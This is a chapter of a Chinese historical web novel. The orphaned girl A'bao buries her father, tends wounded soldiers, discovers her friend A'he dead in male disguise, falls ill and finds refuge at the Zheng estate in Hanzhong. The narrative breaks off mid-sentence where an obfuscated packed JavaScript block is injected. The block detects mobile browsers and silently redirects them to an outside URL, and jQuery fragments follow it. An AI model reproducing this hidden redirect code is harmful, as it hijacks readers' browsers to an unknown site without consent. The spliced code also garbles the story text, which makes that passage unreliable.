阿父下葬那日，渭南下起了细雪。
没有棺椁，没有仪式，只有一床破草席裹身。我用自己的棉衣换来了半壶浊酒，洒在阿父坟前。医官看我可怜，借了把旧铲子，同营的几个伤兵帮忙挖了个浅坑。
“老冯走好...”一个独臂老兵喃喃道，“到了那边，就不用受这乱世的苦了。”
我跪在坟前，机械地往土坑里填土。雪花落在脸上，与泪水混在一起，冰冷刺骨。那三块糖糕还揣在我怀里，原本是留给阿父的，如今再也没有机会了。
“阿父，阿宝不孝...”我哽咽着，“连像样的祭品都没有...”
独臂老兵拍拍我的肩：“丫头，有这份心就够了。这年头，能入土为安就是福分。”
葬了阿父，我茫然站在雪中，不知该去向何处。回陇西？那里早已物是人非。去陈仓？战事未歇，一个女娃如何生存？
“丫头，接下来有什么打算？”独臂老兵问。
我摇摇头，目光空洞。
老兵叹口气：“若不嫌弃，可留在伤兵营帮忙。如今缺人手，管吃住，虽没什么工钱，但总比流落在外强。”
于是我在渭南伤兵营留了下来，成了一个小小的杂役。每日帮忙清洗绷带、喂药喂饭、照料伤员。活计辛苦，但至少有个遮风挡雨的地方。
伤兵营里满是痛苦和死亡。断肢残臂的，伤口溃烂的，高烧呓语的...起初我夜夜做噩梦，后来渐渐麻木。乱世之中，能活着已是万幸。
一日，医官让我去帮忙清洗一具刚刚死去的士兵遗体。那是个年轻士兵，不会超过二十岁，胸口有个巨大的伤口，已经发黑溃烂。
我打来清水，小心地为他擦拭。忽然，我的目光定格在他的左臂内侧——那里有个梅花状的胎记，与我幼时玩伴阿禾的一模一样。
阿禾是邻村铁匠的女儿，比我大两岁，左臂内侧就有个这样的胎记。我们常一起采荇藻、放纸鸢，她总像姐姐一样护着我。
“狗儿跳，那个猫儿闹，吾家小宝吃糖糕...”她常学我阿母哼歌，逗我开心。
城破那日，我们被人群冲散，再没见过。
我颤抖着手，轻轻拨开死者脸上的乱发。虽然面容因痛苦而扭曲，但我还是认出来了——真是阿禾！
可她明明是女儿身，为何穿着男装从军？
仔细查看，我才发现她用布条紧紧束胸，手上满是老茧，皮肤粗糙如男子。显然，她女扮男装从军已有些时日。
“阿禾...”我哽咽着，眼泪滴落在她冰冷的脸上。
为何会这样？那个爱笑爱闹的阿禾，那个说要嫁个好人家的阿禾，怎么会死在战场上？
医官走过来：“认识？”
我点头，泣不成声：“是...是我同乡...”
医官叹口气：“这样的不少。家里男丁战死了，女儿就顶替从军。有的是为军饷，有的是为报仇...”他摇摇头，“收拾好吧，等下统一埋了。”
我为阿禾仔细整理遗容，发现她怀中揣着半块硬饼和一张小心折叠的帛书。展开一看，上面用工整的小字写着：
“母病故，弟战死。阿禾从军报仇。若不幸战死，求好心人将我与弟合葬。弟名阿禾，葬于美阳东三里坡。”
原来如此。阿禾的弟弟也叫阿禾，战死美阳。她女扮男装从军，是为弟弟报仇。
我小心收好帛书，决定完成她的遗愿。
在独臂老兵的帮助下，我求得医官允许，用自己攒下的少许铜钱租了辆板车，将阿禾的遗体运往美阳。
美阳战场尚未完全清理，到处是断箭残戟和来不及掩埋的尸体。朔风呼啸，卷起血腥和腐臭，令人作呕。
根据帛书描述，我找到东三里坡。那里果然有片新坟，简陋的木牌上刻着阵亡者的名字。
我一个个找过去，终于看到“冯阿禾”三个字——阿禾的弟弟，与姐姐同名。
“姐弟团圆了...”我喃喃道，开始挖坟。
手掌很快磨出水泡，但我浑然不觉。心中只有一个念头：让阿禾和弟弟团聚，不要让他们孤零零躺在这荒郊野外。
终于挖开坟穴，我将阿禾轻轻放入，与她弟弟并排躺在一起。
“阿禾，安心睡吧。”我轻声道，“来世生在太平年，做对快活姐弟。”
填土时，我不自觉哼起那首童谣：“春风摇，那个柳叶俏，燕子点水绕...秋风起，那个草黄了，门口霜雪要来到...”
雪花再次飘落，覆盖了新坟，也覆盖了这片染血的土地。
回到伤兵营，我病了一场，高烧三日，迷迷糊糊中总是看见阿禾和阿父的身影。
“阿宝，活下去...”他们都说，“替我们看看太平年月...”
病愈后，我变得更加沉默，只是拼命干活，仿佛这样就能忘却痛苦。
伤兵营中来来去去，每天都有人死去，每天都有人被送来。我渐渐学会了简单的疗伤知识，能帮医官处理一些轻伤。
一个叫小草的医官学徒与我年纪相仿，父亲是郎中，战乱中失散。她教我辨识草药，包扎伤口。
“阿宝姐手真巧。”小草常说，“若是太平年月，定能成为好医女。”
我只是苦笑。太平年月？那似乎太过遥远。
冬日漫长，伤兵营中越发艰难。药物短缺，粮食不足，许多伤员不是死于伤势，而是死于饥寒。
我常常省下自己的口粮分给重伤员，虽然知道这只是杯水车薪。
“丫头，别管我们了...”一个老伤兵推开我递来的粥碗，“留着你自己吃吧。你还小，日子还长...”
但我坚持要他吃下。在这死亡笼罩的营中，这点温暖或许就是唯一的慰藉。
一日，营中来了个特殊伤员——是个羌人战士，左腿重伤，高烧不止。
许多汉人士兵怒目而视，有人甚至要求将他扔出去：“羌狗害得我们还不够吗？”
医官却坚持救治：“在医者眼中，只有伤员，没有羌汉之分。”
我负责照料那个羌人。他年纪不大，不会说汉语，但眼神清澈，没有传闻中的凶悍。
喂药时，他忽然用羌语说了句什么，指了指我腰间的桃木梳——阿父送的礼物。
我犹豫了一下，将木梳递给他。他仔细端详，露出赞叹神色，比划着问我是否重要。
我点头，比划着“父亲”的意思。
他明白了，郑重地归还木梳，单手抚胸行礼，似乎在表达歉意和感谢。
那一刻，我忽然想起阿母常说的话：“羌人也是人，有好有坏，就像我们汉人一样。”
后来通过手势交流，我得知他叫扎西，家人都在战乱中丧生，他是被迫从军的。
“都一样...”独臂老兵叹道，“都是这乱世的苦命人。”
扎西的伤势渐渐好转，能简单走动了。他常帮我干些重活，作为报答。有时会哼唱羌族歌谣，曲调苍凉悠远，与阿母唱的汉家歌谣莫名相似。
“都在想家啊。”小草轻声说，“无论羌汉。”
然而和平是短暂的。一日，一队官兵来到伤兵营，要带走所有羌人俘虏。
扎西被强行拖走时，回头看了我一眼，眼神复杂。那之后，再没有他的消息。
“怕是凶多吉少了。”独臂老兵摇头，“这年头，俘虏没几个能活命的。”
我心中怅然，却又无可奈何。乱世之中，个人的命运如浮萍般不由自己。
寒冬越发严酷，伤兵营中死亡人数激增。医官们疲于奔命，却无力回天。
我也病倒了，咳嗽不止，夜间常咳醒。小草偷偷给我留些草药，但效果甚微。
“怕是染上肺痨了。”医官面色凝重，“这里不能再留你了，会传染给其他人。”
如遭雷击。离开伤兵营，我能去哪里？
独臂老兵替我求情：“丫头无亲无故，出去就是死路一条啊！”
但医官态度坚决：“不能因一人害了全院。”
最终，医官给了我一些草药和干粮，让我自行离去。
站在伤兵营外，我茫然四顾。天地茫茫，竟无我容身之处。
雪越下越大，寒风刺骨。我裹紧单薄的衣裳，漫无目的地前行。
不知走了多久，天色渐暗。前方出现个破庙，我急忙躲进去避雪。
庙中已有几个流民，围着一小堆篝火取暖。见我进来，他们警惕地打量一番，见只是个病弱女娃，便不再理会。
我蜷缩在角落，啃着冰冷的干粮，咳得撕心裂肺。
“给。”一个老妪递来半碗热水，“暖暖身子。”
我感激地接过，小口喝着。热水下肚，暂时压住了咳嗽。
“丫头，怎么一个人？”老妪问。
我简单说了情况。老妪叹口气：“这世道...不如跟我们走吧。我们要去汉中，听说那里太平些。”
我心中一动。阿父临终前也让我去汉中找郑家。
“可是...我病着，会拖累你们...”
老妪摇头：“多个人多份照应。看你年纪，与我孙女差不多...她要是活着，也该你这般大了...”
于是次日，我随这群流民一同南行。队伍中有老有少，个个面黄肌瘦，但眼神中还有一丝希望的光芒——对太平的渴望。
路上，老妪告诉我，她姓赵，原是陈仓人，家人在战乱中失散。
“我儿子要是活着，该有三十了。”赵媪望着远方，“媳妇怀着身子时就...
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16530067|186363||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
就没了。若是生下来，该叫你这般大。”
我握住她的手：“到了汉中，一切都会好起来的。”
赵媪苦笑：“但愿吧。”
南行路艰难，我的咳嗽越发严重，常落在队伍后面。赵媪总是陪着我，鼓励我。
“坚持住，就快到了。”她常说，“到了汉中，找个郎中看看，吃几副药就好了。”
但我心中明白，我这病怕是难好了。只是不忍辜负赵媪的好意，勉强支撑。
一夜，我们宿在山洞中。我咳得厉害，几乎喘不过气。赵媪一直轻拍我的背，哼着歌谣安抚。
“冬雪飘，那个柴门掩，灶火暖着旧襦袄...”她哼的调子与阿母如此相似。
我恍惚间仿佛回到家中，阿母正为我掖被角，阿父在灯下读书，阿兄在院中练剑...
“阿母...”我喃喃道，“阿宝好想你们...”
赵媪轻轻抱住我：“睡吧，孩子。梦里就能见到亲人了。”
那夜，我梦见了阿禾。她穿着女儿装，在河边采荇藻，回头对我笑：“阿宝，快来！这里有好多鱼！”
我向她跑去，却怎么也追不上。她的身影渐渐模糊，化作漫天飞雪。
醒来时，赵媪正在煮粥。见我醒了，她露出欣慰的笑容：“今天气色好些了。喝点热粥，咱们继续赶路。”
我勉强坐起，接过粥碗。米粥很稀，但毕竟是热的。
“谢谢媪。”我轻声道。
赵媪摸摸我的头：“傻孩子，跟媪客气什么。”
继续南行数日，我的病情突然加重，开始咳血。赵媪焦急万分，却无计可施。
“坚持住，就快到汉中了。”她不断鼓励我。
但我感觉自己可能撑不到汉中了。每次咳嗽都撕心裂肺，胸口痛如刀绞。
一日傍晚，我们终于看到汉中的城墙。众人欢呼雀跃，仿佛看到了希望。
我却突然咳血不止，眼前一黑，栽倒在地。
“丫头！”赵媪惊呼，“坚持住！我们到了！我们到了！”
但我已经听不清了。意识模糊中，仿佛看到阿父阿母在云端向我招手。
“阿宝，来...”他们微笑着，“来和我们团聚...”
我努力向前伸手，却什么也抓不到。
黑暗吞噬了一切。
不知过了多久，我缓缓睁开眼。首先映入眼帘的是粗布的帐顶，身下是柔软的床铺。
“醒了？”一个温和的声音响起。
我转头，见是个中年妇人，衣着整洁，面容慈祥。
“这里是...”我虚弱地问。
“这里是汉中郑家庄。”妇人微笑道，“你昏倒在城外，是庄主救了你。”
郑家庄？难道是阿父说的郑家？
这时门帘掀开，一个熟悉的身影走进来——竟是赵媪！
“丫头醒了！”赵媪惊喜道，“谢天谢地！你可昏睡三天了！”
原来那日我昏倒后，正好郑家庄的人出城采买，将我们一同救回。赵媪认出郑家庄正是阿父临终前提到的那个郑家，便向庄主说明情况。
庄主郑公是个慈祥长者，听说我是冯安之女，唏嘘不已：“冯兄竟已...唉，乱世无常啊！”
他请来郎中为我诊治，细心调理。我的病情渐渐好转，咳嗽减轻，也能下床走动了。
赵媪被郑家留下做帮工，我们总算有了安身之所。
郑家庄相对太平，庄民自给自足，偶尔有关中流民前来投靠，郑公都尽量接纳。
我常帮庄中妇人织布缝衣，教孩子们识字唱歌。有时站在庄口远望，想起这一路的艰辛，恍如隔世。
但心中的空洞始终无法填补。阿父走了，阿母和阿兄依旧下落不明。
秋深时，我请郑公帮忙，在庄外立了个衣冠冢，葬下阿父给我的桃木梳和阿禾的那半块硬饼。
“阿父，阿禾，安心吧。”我轻声道，“阿宝会好好活下去。”
寒风吹过，卷起枯叶纷飞。
“秋风起，那个草黄了，门口霜雪要来到...”我不自觉地哼起童谣。
赵媪走过来，将一件棉袍披在我肩上：“天冷了，回屋吧。”
我点点头，最后望了一眼衣冠冢，转身离去。
回到庄中，孩子们围上来：“阿宝姐姐，再教我们唱那首歌谣吧！”
我看着他们天真无邪的面容，心中稍稍温暖。
“好。”我微笑，“狗儿跳，那个猫儿闹，吾家小宝吃糖糕...”
歌声在庄园中回荡，穿越秋风，飘向远方。
乱世依旧，但生活还要继续。十一岁的阿宝，在汉中找到暂时的避风港。
而寻找亲人的路，依然漫长。